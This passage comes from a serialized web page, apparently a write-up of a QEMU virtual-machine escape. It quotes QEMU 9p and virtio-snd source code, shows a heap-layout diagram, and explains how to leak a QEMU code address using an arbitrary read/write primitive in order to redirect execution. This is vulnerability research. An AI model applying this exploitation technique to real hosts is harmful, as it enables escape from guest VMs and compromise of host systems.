alloc_fid",{"type":24,"tag":271,"props":136906,"children":136907},{"style":288},[136908],{"type":29,"value":136909},"(s, newfid);\n",{"type":24,"tag":271,"props":136911,"children":136912},{"class":273,"line":374},[136913,136917,136922,136926,136930],{"type":24,"tag":271,"props":136914,"children":136915},{"style":749},[136916],{"type":29,"value":7512},{"type":24,"tag":271,"props":136918,"children":136919},{"style":288},[136920],{"type":29,"value":136921}," (newfidp ",{"type":24,"tag":271,"props":136923,"children":136924},{"style":624},[136925],{"type":29,"value":5059},{"type":24,"tag":271,"props":136927,"children":136928},{"style":278},[136929],{"type":29,"value":134560},{"type":24,"tag":271,"props":136931,"children":136932},{"style":288},[136933],{"type":29,"value":919},{"type":24,"tag":271,"props":136935,"children":136936},{"class":273,"line":384},[136937,136942,136946,136950],{"type":24,"tag":271,"props":136938,"children":136939},{"style":288},[136940],{"type":29,"value":136941}," err ",{"type":24,"tag":271,"props":136943,"children":136944},{"style":624},[136945],{"type":29,"value":762},{"type":24,"tag":271,"props":136947,"children":136948},{"style":624},[136949],{"type":29,"value":819},{"type":24,"tag":271,"props":136951,"children":136952},{"style":288},[136953],{"type":29,"value":136954},"EINVAL;\n",{"type":24,"tag":271,"props":136956,"children":136957},{"class":273,"line":393},[136958,136962],{"type":24,"tag":271,"props":136959,"children":136960},{"style":749},[136961],{"type":29,"value":10229},{"type":24,"tag":271,"props":136963,"children":136964},{"style":288},[136965],{"type":29,"value":10234},{"type":24,"tag":271,"props":136967,"children":136968},{"class":273,"line":402},[136969],{"type":24,"tag":271,"props":136970,"children":136971},{"style":288},[136972],{"type":29,"value":7574},{"type":24,"tag":271,"props":136974,"children":136975},{"class":273,"line":411},[136976,136981,136985,136990,136994,136999,137003,137007],{"type":24,"tag":271,"props":136977,"children":136978},{"style":630},[136979],{"type":29,"value":136980}," newfidp",{"type":24,"tag":271,"props":136982,"children":136983},{"style":288},[136984],{"type":29,"value":786},{"type":24,"tag":271,"props":136986,"children":136987},{"style":630},[136988],{"type":29,"value":136989},"uid",{"type":24,"tag":271,"props":136991,"children":136992},{"style":624},[136993],{"type":29,"value":1712},{"type":24,"tag":271,"props":136995,"children":136996},{"style":630},[136997],{"type":29,"value":136998}," fidp",{"type":24,"tag":271,"props":137000,"children":137001},{"style":288},[137002],{"type":29,"value":786},{"type":24,"tag":271,"props":137004,"children":137005},{"style":630},[137006],{"type":29,"value":136989},{"type":24,"tag":271,"props":137008,"children":137009},{"style":288},[137010],{"type":29,"value":1069},{"type":24,"tag":271,"props":137012,"children":137013},{"class":273,"line":420},[137014,137019,137023,137027,137032,137036,137040,137044,137048],{"type":24,"tag":271,"props":137015,"children":137016},{"style":598},[137017],{"type":29,"value":137018}," v9fs_path_copy",{"type":24,"tag":271,"props":137020,"children":137021},{"style":288},[137022],{"type":29,"value":606},{"type":24,"tag":271,"props":137024,"children":137025},{"style":624},[137026],{"type":29,"value":1137},{"type":24,"tag":271,"props":137028,"children":137029},{"style":630},[137030],{"type":29,"value":137031},"newfidp",{"type":24,"tag":271,"props":137033,"children":137034},{"style":288},[137035],{"type":29,"value":786},{"type":24,"tag":271,"props":137037,"children":137038},{"style":630},[137039],{"type":29,"value":119114},{"type":24,"tag":271,"props":137041,"children":137042},{"style":288},[137043],{"type":29,"value":158},{"type":24,"tag":271,"props":137045,"children":137046},{"style":624},[137047],{"type":29,"value":1137},{"type":24,"tag":271,"props":137049,"children":137050},{"style":288},[137051],{"type":29,"value":137052},"path);\n",{"type":24,"tag":271,"props":137054,"children":137055},{"class":273,"line":429},[137056],{"type":24,"tag":271,"props":137057,"children":137058},{"style":288},[137059],{"type":29,"value":4385},{"type":24,"tag":271,"props":137061,"children":137062},{"class":273,"line":438},[137063],{"type":24,"tag":271,"props":137064,"children":137065},{"emptyLinePlaceholder":16},[137066],{"type":29,"value":327},{"type":24,"tag":271,"props":137068,"children":137069},{"class":273,"line":447},[137070],{"type":24,"tag":271,"props":137071,"children":137072},{"style":288},[137073],{"type":29,"value":111591},{"type":24,"tag":271,"props":137075,"children":137076},{"class":273,"line":455},[137077],{"type":24,"tag":271,"props":137078,"children":137079},{"style":288},[137080],{"type":29,"value":1171},{"type":24,"tag":271,"props":137082,"children":137083},{"class":273,"line":464},[137084],{"type":24,"tag":271,"props":137085,"children":137086},{"emptyLinePlaceholder":16},[137087],{"type":29,"value":327},{"type":24,"tag":271,"props":137089,"children":137090},{"class":273,"line":473},[137091,137095,137100,137104,137108,137113,137117,137121,137125,137130,137135],{"type":24,"tag":271,"props":137092,"children":137093},{"style":278},[137094],{"type":29,"value":590},{"type":24,"tag":271,"props":137096,"children":137097},{"style":288},[137098],{"type":29,"value":137099}," V9fsFidState ",{"type":24,"tag":271,"props":137101,"children":137102},{"style":624},[137103],{"type":29,"value":627},{"type":24,"tag":271,"props":137105,"children":137106},{"style":598},[137107],{"type":29,"value":136717},{"type":24,"tag":271,"props":137109,"children":137110},{"style":288},[137111],{"type":29,"value":137112},"(V9fsState ",{"type":24,"tag":271,"props":137114,"children":137115},{"style":624},[137116],{"type":29,"value":627},{"type":24,"tag":271,"props":137118,"children":137119},{"style":630},[137120],{"type":29,"value":18355},{"type":24,"tag":271,"props":137122,"children":137123},{"style":288},[137124],{"type":29,"value":158},{"type":24,"tag":271,"props":137126,"children":137127},{"style":278},[137128],{"type":29,"value":137129},"int32_t",{"type":24,"tag":271,"props":137131,"children":137132},{"style":630},[137133],{"type":29,"value":137134}," fid",{"type":24,"tag":271,"props":137136,"children":137137},{"style":288},[137138],{"type":29,"value":694},{"type":24,"tag":271,"props":137140,"children":137141},{"class":273,"line":483},[137142],{"type":24,"tag":271,"props":137143,"children":137144},{"style":288},[137145],{"type":29,"value":702},{"type":24,"tag":271,"props":137147,"children":137148},{"class":273,"line":491},[137149,137153,137157],{"type":24,"tag":271,"props":137150,"children":137151},{"style":288},[137152],{"type":29,"value":134881},{"type":24,"tag":271,"props":137154,"children":137155},{"style":624},[137156],{"type":29,"value":627},{"type":24,"tag":271,"props":137158,"children":137159},{"style":288},[137160],{"type":29,"value":723},{"type":24,"tag":271,"props":137162,"children":137163},{"class":273,"line":499},[137164],{"type":24,"tag":271,"props":137165,"children":137166},{"emptyLinePlaceholder":16},[137167],{"type":29,"value":327},{"type":24,"tag":271,"props":137169,"children":137170},{"class":273,"line":3188},[137171,137176,137180,137185,137189,137193,137197,137202,137206,137211],{"type":24,"tag":271,"props":137172,"children":137173},{"style":288},[137174],{"type":29,"value":137175}," f ",{"type":24,"tag":271,"props":137177,"children":137178},{"style":624},[137179],{"type":29,"value":762},{"type":24,"tag":271,"props":137181,"children":137182},{"style":598},[137183],{"type":29,"value":137184}," g_hash_table_lookup",{"type":24,"tag":271,"props":137186,"children":137187},{"style":288},[137188],{"type":29,"value":606},{"type":24,"tag":271,"props":137190,"children":137191},{"style":630},[137192],{"type":29,"value":18355},{"type":24,"tag":271,"props":137194,"children":137195},{"style":288},[137196],{"type":29,"value":786},{"type":24,"tag":271,"props":137198,"children":137199},{"style":630},[137200],{"type":29,"value":137201},"fids",{"type":24,"tag":271,"props":137203,"children":137204},{"style":288},[137205],{"type":29,"value":158},{"type":24,"tag":271,"props":137207,"children":137208},{"style":598},[137209],{"type":29,"value":137210},"GINT_TO_POINTER",{"type":24,"tag":271,"props":137212,"children":137213},{"style":288},[137214],{"type":29,"value":137215},"(fid));\n",{"type":24,"tag":271,"props":137217,"children":137218},{"class":273,"line":3247},[137219,137223],{"type":24,"tag":271,"props":137220,"children":137221},{"style":749},[137222],{"type":29,"value":5025},{"type":24,"tag":271,"props":137224,"children":137225},{"style":288},[137226],{"type":29,"value":137227}," (f) {\n",{"type":24,"tag":271,"props":137229,"children":137230},{"class":273,"line":3255},[137231],{"type":24,"tag":271,"props":137232,"children":137233},{"style":2058},[137234],{"type":29,"value":137235}," /* If fid is already there return NULL */\n",{"type":24,"tag":271,"props":137237,"children":137238},{"class":273,"line":3263},[137239,137244,137248,137252,137256,137261],{"type":24,"tag":271,"props":137240,"children":137241},{"style":598},[137242],{"type":29,"value":137243}," BUG_ON",{"type":24,"tag":271,"props":137245,"children":137246},{"style":288},[137247],{"type":29,"value":606},{"type":24,"tag":271,"props":137249,"children":137250},{"style":630},[137251],{"type":29,"value":791},{"type":24,"tag":271,"props":137253,"children":137254},{"style":288},[137255],{"type":29,"value":786},{"type":24,"tag":271,"props":137257,"children":137258},{"style":630},[137259],{"type":29,"value":137260},"clunked",{"type":24,"tag":271,"props":137262,"children":137263},{"style":288},[137264],{"type":29,"value":1155},{"type":24,"tag":271,"props":137266,"children":137267},{"class":273,"line":3293},[137268,137272,137276],{"type":24,"tag":271,"props":137269,"children":137270},{"style":749},[137271],{"type":29,"value":8905},{"type":24,"tag":271,"props":137273,"children":137274},{"style":278},[137275],{"type":29,"value":134560},{"type":24,"tag":271,"props":137277,"children":137278},{"style":288},[137279],{"type":29,"value":1069},{"type":24,"tag":271,"props":137281,"children":137282},{"class":273,"line":3301},[137283],{"type":24,"tag":271,"props":137284,"children":137285},{"style":288},[137286],{"type":29,"value":4385},{"type":24,"tag":271,"props":137288,"children":137289},{"class":273,"line":3683},[137290,137294,137298,137303,137308,137312],{"type":24,"tag":271,"props":137291,"children":137292},{"style":288},[137293],{"type":29,"value":137175},{"type":24,"tag":271,"props":137295,"children":137296},{"style":624},[137297],{"type":29,"value":762},{"type":24,"tag":271,"props":137299,"children":137300},{"style":598},[137301],{"type":29,"value":137302}," g_new0",{"type":24,"tag":271,"props":137304,"children":137305},{"style":288},[137306],{"type":29,"value":137307},"(V9fsFidState, ",{"type":24,"tag":271,"props":137309,"children":137310},{"style":477},[137311],{"type":29,"value":156},{"type":24,"tag":271,"props":137313,"children":137314},{"style":288},[137315],{"type":29,"value":1155},{"type":24,"tag":271,"props":137317,"children":137318},{"class":273,"line":4486},[137319],{"type":24,"tag":271,"props":137320,"children":137321},{"emptyLinePlaceholder":16},[137322],{"type":29,"value":327},{"type":24,"tag":271,"props":137324,"children":137325},{"class":273,"line":4509},[137326],{"type":24,"tag":271,"props":137327,"children":137328},{"style":288},[137329],{"type":29,"value":111591},{"type":24,"tag":25,"props":137331,"children":137332},{},[137333,137335,137340],{"type":29,"value":137334},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":24,"tag":135,"props":137336,"children":137338},{"className":137337},[],[137339],{"type":29,"value":136135},{"type":29,"value":135472},{"type":24,"tag":261,"props":137342,"children":137344},{"code":137343}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+---------------+----+\n| | |....|\n| .value Y | V9fsFidState |....|\n| | |....|\n+--------------------+---------------+----+\n",[137345],{"type":24,"tag":135,"props":137346,"children":137347},{"__ignoreMap":7},[137348],{"type":29,"value":137343},{"type":24,"tag":26585,"props":137350,"children":137352},{"id":137351},"leaking-a-qemu-address",[137353],{"type":29,"value":137354},"Leaking a QEMU Address",{"type":24,"tag":25,"props":137356,"children":137357},{},[137358],{"type":29,"value":137359},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":24,"tag":25,"props":137361,"children":137362},{},[137363,137365,137370],{"type":29,"value":137364},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":24,"tag":135,"props":137366,"children":137368},{"className":137367},[],[137369],{"type":29,"value":130555},{"type":29,"value":12210},{"type":24,"tag":261,"props":137372,"children":137374},{"code":137373,"language":578,"meta":7,"className":576,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtIOSound *vsnd = VIRTIO_SND(vdev);\n VirtIOSoundPCMBuffer *buffer;\n VirtQueueElement *elem;\n size_t msg_sz, size;\n uint32_t stream_id;\n\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n if (!elem) {\n break;\n }\n /* get the message hdr object */\n msg_sz = iov_to_buf(elem->out_sg,\n elem->out_num,\n 0,\n &hdr,\n sizeof(virtio_snd_pcm_xfer));\n if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n goto rx_err;\n }\n stream_id = le32_to_cpu(hdr.stream_id);\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status);\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size); // [1]\n buffer->elem = elem;\n buffer->vq = vq; // [2]\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n }\n",[137375],{"type":24,"tag":135,"props":137376,"children":137377},{"__ignoreMap":7},[137378,137421,137428,137459,137474,137489,137501,137514,137521,137528,137535,137546,137561,137568,137596,137615,137626,137633,137641,137678,137699,137711,137724,137737,137763,137775,137782,137820,137827,137834,137841,137872,137927,137939,137980,138003,138032,138059,138086,138118],{"type":24,"tag":271,"props":137379,"children":137380},{"class":273,"line":274},[137381,137385,137389,137393,137397,137401,137405,137409,137413,137417],{"type":24,"tag":271,"props":137382,"children":137383},{"style":278},[137384],{"type":29,"value":590},{"type":24,"tag":271,"props":137386,"children":137387},{"style":278},[137388],{"type":29,"value":595},{"type":24,"tag":271,"props":137390,"children":137391},{"style":598},[137392],{"type":29,"value":130634},{"type":24,"tag":271,"props":137394,"children":137395},{"style":288},[137396],{"type":29,"value":130639},{"type":24,"tag":271,"props":137398,"children":137399},{"style":624},[137400],{"type":29,"value":627},{"type":24,"tag":271,"props":137402,"children":137403},{"style":630},[137404],{"type":29,"value":130648},{"type":24,"tag":271,"props":137406,"children":137407},{"style":288},[137408],{"type":29,"value":130653},{"type":24,"tag":271,"props":137410,"children":137411},{"style":624},[137412],{"type":29,"value":627},{"type":24,"tag":271,"props":137414,"children":137415},{"style":630},[137416],{"type":29,"value":130662},{"type":24,"tag":271,"props":137418,"children":137419},{"style":288},[137420],{"type":29,"value":694},{"type":24,"tag":271,"props":137422,"children":137423},{"class":273,"line":284},[137424],{"type":24,"tag":271,"props":137425,"children":137426},{"style":288},[137427],{"type":29,"value":702},{"type":24,"tag":271,"props":137429,"children":137430},{"class":273,"line":294},[137431,137436,137440,137445,137449,137454],{"type":24,"tag":271,"props":137432,"children":137433},{"style":288},[137434],{"type":29,"value":137435}," VirtIOSound ",{"type":24,"tag":271,"props":137437,"children":137438},{"style":624},[137439],{"type":29,"value":627},{"type":24,"tag":271,"props":137441,"children":137442},{"style":288},[137443],{"type":29,"value":137444},"vsnd ",{"type":24,"tag":271,"props":137446,"children":137447},{"style":624},[137448],{"type":29,"value":762},{"type":24,"tag":271,"props":137450,"children":137451},{"style":598},[137452],{"type":29,"value":137453}," VIRTIO_SND",{"type":24,"tag":271,"props":137455,"children":137456},{"style":288},[137457],{"type":29,"value":137458},"(vdev);\n",{"type":24,"tag":271,"props":137460,"children":137461},{"class":273,"line":303},[137462,137466,137470],{"type":24,"tag":271,"props":137463,"children":137464},{"style":288},[137465],{"type":29,"value":131652},{"type":24,"tag":271,"props":137467,"children":137468},{"style":624},[137469],{"type":29,"value":627},{"type":24,"tag":271,"props":137471,"children":137472},{"style":288},[137473],{"type":29,"value":131661},{"type":24,"tag":271,"props":137475,"children":137476},{"class":273,"line":312},[137477,137481,137485],{"type":24,"tag":271,"props":137478,"children":137479},{"style":288},[137480],{"type":29,"value":130681},{"type":24,"tag":271,"props":137482,"children":137483},{"style":624},[137484],{"type":29,"value":627},{"type":24,"tag":271,"props":137486,"children":137487},{"style":288},[137488],{"type":29,"value":130690},{"type":24,"tag":271,"props":137490,"children":137491},{"class":273,"line":321},[137492,137496],{"type":24,"tag":271,"props":137493,"children":137494},{"style":278},[137495],{"type":29,"value":24260},{"type":24,"tag":271,"props":137497,"children":137498},{"style":288},[137499],{"type":29,"value":137500}," msg_sz, size;\n",{"type":24,"tag":271,"props":137502,"children":137503},{"class":273,"line":330},[137504,137509],{"type":24,"tag":271,"props":137505,"children":137506},{"style":278},[137507],{"type":29,"value":137508}," uint32_t",{"type":24,"tag":271,"props":137510,"children":137511},{"style":288},[137512],{"type":29,"value":137513}," stream_id;\n",{"type":24,"tag":271,"props":137515,"children":137516},{"class":273,"line":339},[137517],{"type":24,"tag":271,"props":137518,"children":137519},{"emptyLinePlaceholder":16},[137520],{"type":29,"value":327},{"type":24,"tag":271,"props":137522,"children":137523},{"class":273,"line":347},[137524],{"type":24,"tag":271,"props":137525,"children":137526},{"style":288},[137527],{"type":29,"value":111591},{"type":24,"tag":271,"props":137529,"children":137530},{"class":273,"line":356},[137531],{"type":24,"tag":271,"props":137532,"children":137533},{"emptyLinePlaceholder":16},[137534],{"type":29,"value":327},{"type":24,"tag":271,"props":137536,"children":137537},{"class":273,"line":365},[137538,137542],{"type":24,"tag":271,"props":137539,"children":137540},{"style":749},[137541],{"type":29,"value":4149},{"type":24,"tag":271,"props":137543,"children":137544},{"style":288},[137545],{"type":29,"value":130716},{"type":24,"tag":271,"props":137547,"children":137548},{"class":273,"line":374},[137549,137553,137557],{"type":24,"tag":271,"props":137550,"children":137551},{"style":288},[137552],{"type":29,"value":130724},{"type":24,"tag":271,"props":137554,"children":137555},{"style":624},[137556],{"type":29,"value":627},{"type":24,"tag":271,"props":137558,"children":137559},{"style":288},[137560],{"type":29,"value":130733},{"type":24,"tag":271,"props":137562,"children":137563},{"class":273,"line":384},[137564],{"type":24,"tag":271,"props":137565,"children":137566},{"emptyLinePlaceholder":16},[137567],{"type":29,"value":327},{"type":24,"tag":271,"props":137569,"children":137570},{"class":273,"line":393},[137571,137575,137579,137583,137587,137591],{"type":24,"tag":271,"props":137572,"children":137573},{"style":288},[137574],{"type":29,"value":130748},{"type":24,"tag":271,"props":137576,"children":137577},{"style":624},[137578],{"type":29,"value":762},{"type":24,"tag":271,"props":137580,"children":137581},{"style":598},[137582],{"type":29,"value":130757},{"type":24,"tag":271,"props":137584,"children":137585},{"style":288},[137586],{"type":29,"value":130762},{"type":24,"tag":271,"props":137588,"children":137589},{"style":278},[137590],{"type":29,"value":4969},{"type":24,"tag":271,"props":137592,"children":137593},{"style":288},[137594],{"type":29,"value":137595},"(VirtQueueElement));\n",{"type":24,"tag":271,"props":137597,"children":137598},{"class":273,"line":402},[137599,137603,137607,137611],{"type":24,"tag":271,"props":137600,"children":137601},{"style":749},[137602],{"type":29,"value":7512},{"type":24,"tag":271,"props":137604,"children":137605},{"style":288},[137606],{"type":29,"value":1357},{"type":24,"tag":271,"props":137608,"children":137609},{"style":624},[137610],{"type":29,"value":1818},{"type":24,"tag":271,"props":137612,"children":137613},{"style":288},[137614],{"type":29,"value":130796},{"type":24,"tag":271,"props":137616,"children":137617},{"class":273,"line":411},[137618,137622],{"type":24,"tag":271,"props":137619,"children":137620},{"style":749},[137621],{"type":29,"value":10147},{"type":24,"tag":271,"props":137623,"children":137624},{"style":288},[137625],{"type":29,"value":1069},{"type":24,"tag":271,"props":137627,"children":137628},{"class":273,"line":420},[137629],{"type":24,"tag":271,"props":137630,"children":137631},{"style":288},[137632],{"type":29,"value":7574},{"type":24,"tag":271,"props":137634,"children":137635},{"class":273,"line":429},[137636],{"type":24,"tag":271,"props":137637,"children":137638},{"style":2058},[137639],{"type":29,"value":137640}," /* get the message hdr object */\n",{"type":24,"tag":271,"props":137642,"children":137643},{"class":273,"line":438},[137644,137649,137653,137658,137662,137666,137670,137674],{"type":24,"tag":271,"props":137645,"children":137646},{"style":288},[137647],{"type":29,"value":137648}," msg_sz ",{"type":24,"tag":271,"props":137650,"children":137651},{"style":624},[137652],{"type":29,"value":762},{"type":24,"tag":271,"props":137654,"children":137655},{"style":598},[137656],{"type":29,"value":137657}," iov_to_buf",{"type":24,"tag":271,"props":137659,"children":137660},{"style":288},[137661],{"type":29,"value":606},{"type":24,"tag":271,"props":137663,"children":137664},{"style":630},[137665],{"type":29,"value":1646},{"type":24,"tag":271,"props":137667,"children":137668},{"style":288},[137669],{"type":29,"value":786},{"type":24,"tag":271,"props":137671,"children":137672},{"style":630},[137673],{"type":29,"value":131200},{"type":24,"tag":271,"props":137675,"children":137676},{"style":288},[137677],{"type":29,"value":638},{"type":24,"tag":271,"props":137679,"children":137680},{"class":273,"line":447},[137681,137686,137690,137695],{"type":24,"tag":271,"props":137682,"children":137683},{"style":630},[137684],{"type":29,"value":137685}," elem",{"type":24,"tag":271,"props":137687,"children":137688},{"style":288},[137689],{"type":29,"value":786},{"type":24,"tag":271,"props":137691,"children":137692},{"style":630},[137693],{"type":29,"value":137694},"out_num",{"type":24,"tag":271,"props":137696,"children":137697},{"style":288},[137698],{"type":29,"value":638},{"type":24,"tag":271,"props":137700,"children":137701},{"class":273,"line":455},[137702,137707],{"type":24,"tag":271,"props":137703,"children":137704},{"style":477},[137705],{"type":29,"value":137706}," 0",{"type":24,"tag":271,"props":137708,"children":137709},{"style":288},[137710],{"type":29,"value":638},{"type":24,"tag":271,"props":137712,"children":137713},{"class":273,"line":464},[137714,137719],{"type":24,"tag":271,"props":137715,"children":137716},{"style":624},[137717],{"type":29,"value":137718}," &",{"type":24,"tag":271,"props":137720,"children":137721},{"style":288},[137722],{"type":29,"value":137723},"hdr,\n",{"type":24,"tag":271,"props":137725,"children":137726},{"class":273,"line":473},[137727,137732],{"type":24,"tag":271,"props":137728,"children":137729},{"style":278},[137730],{"type":29,"value":137731}," sizeof",{"type":24,"tag":271,"props":137733,"children":137734},{"style":288},[137735],{"type":29,"value":137736},"(virtio_snd_pcm_xfer));\n",{"type":24,"tag":271,"props":137738,"children":137739},{"class":273,"line":483},[137740,137744,137749,137753,137758],{"type":24,"tag":271,"props":137741,"children":137742},{"style":749},[137743],{"type":29,"value":7512},{"type":24,"tag":271,"props":137745,"children":137746},{"style":288},[137747],{"type":29,"value":137748}," (msg_sz ",{"type":24,"tag":271,"props":137750,"children":137751},{"style":624},[137752],{"type":29,"value":23386},{"type":24,"tag":271,"props":137754,"children":137755},{"style":278},[137756],{"type":29,"value":137757}," sizeof",{"type":24,"tag":271,"props":137759,"children":137760},{"style":288},[137761],{"type":29,"value":137762},"(virtio_snd_pcm_xfer)) {\n",{"type":24,"tag":271,"props":137764,"children":137765},{"class":273,"line":491},[137766,137770],{"type":24,"tag":271,"props":137767,"children":137768},{"style":749},[137769],{"type":29,"value":10229},{"type":24,"tag":271,"props":137771,"children":137772},{"style":288},[137773],{"type":29,"value":137774}," rx_err;\n",{"type":24,"tag":271,"props":137776,"children":137777},{"class":273,"line":499},[137778],{"type":24,"tag":271,"props":137779,"children":137780},{"style":288},[137781],{"type":29,"value":7574},{"type":24,"tag":271,"props":137783,"children":137784},{"class":273,"line":3188},[137785,137790,137794,137798,137802,137807,137811,137816],{"type":24,"tag":271,"props":137786,"children":137787},{"style":288},[137788],{"type":29,"value":137789}," stream_id ",{"type":24,"tag":271,"props":137791,"children":137792},{"style":624},[137793],{"type":29,"value":762},{"type":24,"tag":271,"props":137795,"children":137796},{"style":598},[137797],{"type":29,"value":132662},{"type":24,"tag":271,"props":137799,"children":137800},{"style":288},[137801],{"type":29,"value":606},{"type":24,"tag":271,"props":137803,"children":137804},{"style":630},[137805],{"type":29,"value":137806},"hdr",{"type":24,"tag":271,"props":137808,"children":137809},{"style":288},[137810],{"type":29,"value":41},{"type":24,"tag":271,"props":137812,"children":137813},{"style":630},[137814],{"type":29,"value":137815},"stream_id",{"type":24,"tag":271,"props":137817,"children":137818},{"style":288},[137819],{"type":29,"value":1155},{"type":24,"tag":271,"props":137821,"children":137822},{"class":273,"line":3247},[137823],{"type":24,"tag":271,"props":137824,"children":137825},{"emptyLinePlaceholder":16},[137826],{"type":29,"value":327},{"type":24,"tag":271,"props":137828,"children":137829},{"class":273,"line":3255},[137830],{"type":24,"tag":271,"props":137831,"children":137832},{"style":288},[137833],{"type":29,"value":130829},{"type":24,"tag":271,"props":137835,"children":137836},{"class":273,"line":3263},[137837],{"type":24,"tag":271,"props":137838,"children":137839},{"emptyLinePlaceholder":16},[137840],{"type":29,"value":327},{"type":24,"tag":271,"props":137842,"children":137843},{"class":273,"line":3293},[137844,137848,137852,137856,137860,137864,137868],{"type":24,"tag":271,"props":137845,"children":137846},{"style":598},[137847],{"type":29,"value":130844},{"type":24,"tag":271,"props":137849,"children":137850},{"style":288},[137851],{"type":29,"value":606},{"type":24,"tag":271,"props":137853,"children":137854},{"style":624},[137855],{"type":29,"value":1137},{"type":24,"tag":271,"props":137857,"children":137858},{"style":630},[137859],{"type":29,"value":43929},{"type":24,"tag":271,"props":137861,"children":137862},{"style":288},[137863],{"type":29,"value":786},{"type":24,"tag":271,"props":137865,"children":137866},{"style":630},[137867],{"type":29,"value":130865},{"type":24,"tag":271,"props":137869,"children":137870},{"style":288},[137871],{"type":29,"value":919},{"type":24,"tag":271,"props":137873,"children":137874},{"class":273,"line":3301},[137875,137879,137883,137887,137891,137895,137899,137903,137907,137911,137915,137919,137923],{"type":24,"tag":271,"props":137876,"children":137877},{"style":288},[137878],{"type":29,"value":130877},{"type":24,"tag":271,"props":137880,"children":137881},{"style":624},[137882],{"type":29,"value":762},{"type":24,"tag":271,"props":137884,"children":137885},{"style":598},[137886],{"type":29,"value":130886},{"type":24,"tag":271,"props":137888,"children":137889},{"style":288},[137890],{"type":29,"value":606},{"type":24,"tag":271,"props":137892,"children":137893},{"style":630},[137894],{"type":29,"value":1646},{"type":24,"tag":271,"props":137896,"children":137897},{"style":288},[137898],{"type":29,"value":786},{"type":24,"tag":271,"props":137900,"children":137901},{"style":630},[137902],{"type":29,"value":130903},{"type":24,"tag":271,"props":137904,"children":137905},{"style":288},[137906],{"type":29,"value":158},{"type":24,"tag":271,"props":137908,"children":137909},{"style":630},[137910],{"type":29,"value":1646},{"type":24,"tag":271,"props":137912,"children":137913},{"style":288},[137914],{"type":29,"value":786},{"type":24,"tag":271,"props":137916,"children":137917},{"style":630},[137918],{"type":29,"value":130920},{"type":24,"tag":271,"props":137920,"children":137921},{"style":288},[137922],{"type":29,"value":8823},{"type":24,"tag":271,"props":137924,"children":137925},{"style":624},[137926],{"type":29,"value":390},{"type":24,"tag":271,"props":137928,"children":137929},{"class":273,"line":3683},[137930,137934],{"type":24,"tag":271,"props":137931,"children":137932},{"style":278},[137933],{"type":29,"value":130936},{"type":24,"tag":271,"props":137935,"children":137936},{"style":288},[137937],{"type":29,"value":137938},"(virtio_snd_pcm_status);\n",{"type":24,"tag":271,"props":137940,"children":137941},{"class":273,"line":4486},[137942,137946,137950,137954,137958,137962,137966,137970,137975],{"type":24,"tag":271,"props":137943,"children":137944},{"style":288},[137945],{"type":29,"value":130954},{"type":24,"tag":271,"props":137947,"children":137948},{"style":624},[137949],{"type":29,"value":762},{"type":24,"tag":271,"props":137951,"children":137952},{"style":598},[137953],{"type":29,"value":130963},{"type":24,"tag":271,"props":137955,"children":137956},{"style":288},[137957],{"type":29,"value":606},{"type":24,"tag":271,"props":137959,"children":137960},{"style":278},[137961],{"type":29,"value":4969},{"type":24,"tag":271,"props":137963,"children":137964},{"style":288},[137965],{"type":29,"value":130976},{"type":24,"tag":271,"props":137967,"children":137968},{"style":624},[137969],{"type":29,"value":1012},{"type":24,"tag":271,"props":137971,"children":137972},{"style":288},[137973],{"type":29,"value":137974}," size);",{"type":24,"tag":271,"props":137976,"children":137977},{"style":2058},[137978],{"type":29,"value":137979}," // [1]\n",{"type":24,"tag":271,"props":137981,"children":137982},{"class":273,"line":4509},[137983,137987,137991,137995,137999],{"type":24,"tag":271,"props":137984,"children":137985},{"style":630},[137986],{"type":29,"value":130993},{"type":24,"tag":271,"props":137988,"children":137989},{"style":288},[137990],{"type":29,"value":786},{"type":24,"tag":271,"props":137992,"children":137993},{"style":630},[137994],{"type":29,"value":1646},{"type":24,"tag":271,"props":137996,"children":137997},{"style":624},[137998],{"type":29,"value":1712},{"type":24,"tag":271,"props":138000,"children":138001},{"style":288},[138002],{"type":29,"value":131010},{"type":24,"tag":271,"props":138004,"children":138005},{"class":273,"line":4545},[138006,138010,138014,138018,138022,138027],{"type":24,"tag":271,"props":138007,"children":138008},{"style":630},[138009],{"type":29,"value":130993},{"type":24,"tag":271,"props":138011,"children":138012},{"style":288},[138013],{"type":29,"value":786},{"type":24,"tag":271,"props":138015,"children":138016},{"style":630},[138017],{"type":29,"value":130662},{"type":24,"tag":271,"props":138019,"children":138020},{"style":624},[138021],{"type":29,"value":1712},{"type":24,"tag":271,"props":138023,"children":138024},{"style":288},[138025],{"type":29,"value":138026}," vq;",{"type":24,"tag":271,"props":138028,"children":138029},{"style":2058},[138030],{"type":29,"value":138031}," // [2]\n",{"type":24,"tag":271,"props":138033,"children":138034},{"class":273,"line":4591},[138035,138039,138043,138047,138051,138055],{"type":24,"tag":271,"props":138036,"children":138037},{"style":630},[138038],{"type":29,"value":130993},{"type":24,"tag":271,"props":138040,"children":138041},{"style":288},[138042],{"type":29,"value":786},{"type":24,"tag":271,"props":138044,"children":138045},{"style":630},[138046],{"type":29,"value":131050},{"type":24,"tag":271,"props":138048,"children":138049},{"style":624},[138050],{"type":29,"value":1712},{"type":24,"tag":271,"props":138052,"children":138053},{"style":477},[138054],{"type":29,"value":767},{"type":24,"tag":271,"props":138056,"children":138057},{"style":288},[138058],{"type":29,"value":1069},{"type":24,"tag":271,"props":138060,"children":138061},{"class":273,"line":4628},[138062,138066,138070,138074,138078,138082],{"type":24,"tag":271,"props":138063,"children":138064},{"style":630},[138065],{"type":29,"value":130993},{"type":24,"tag":271,"props":138067,"children":138068},{"style":288},[138069],{"type":29,"value":786},{"type":24,"tag":271,"pro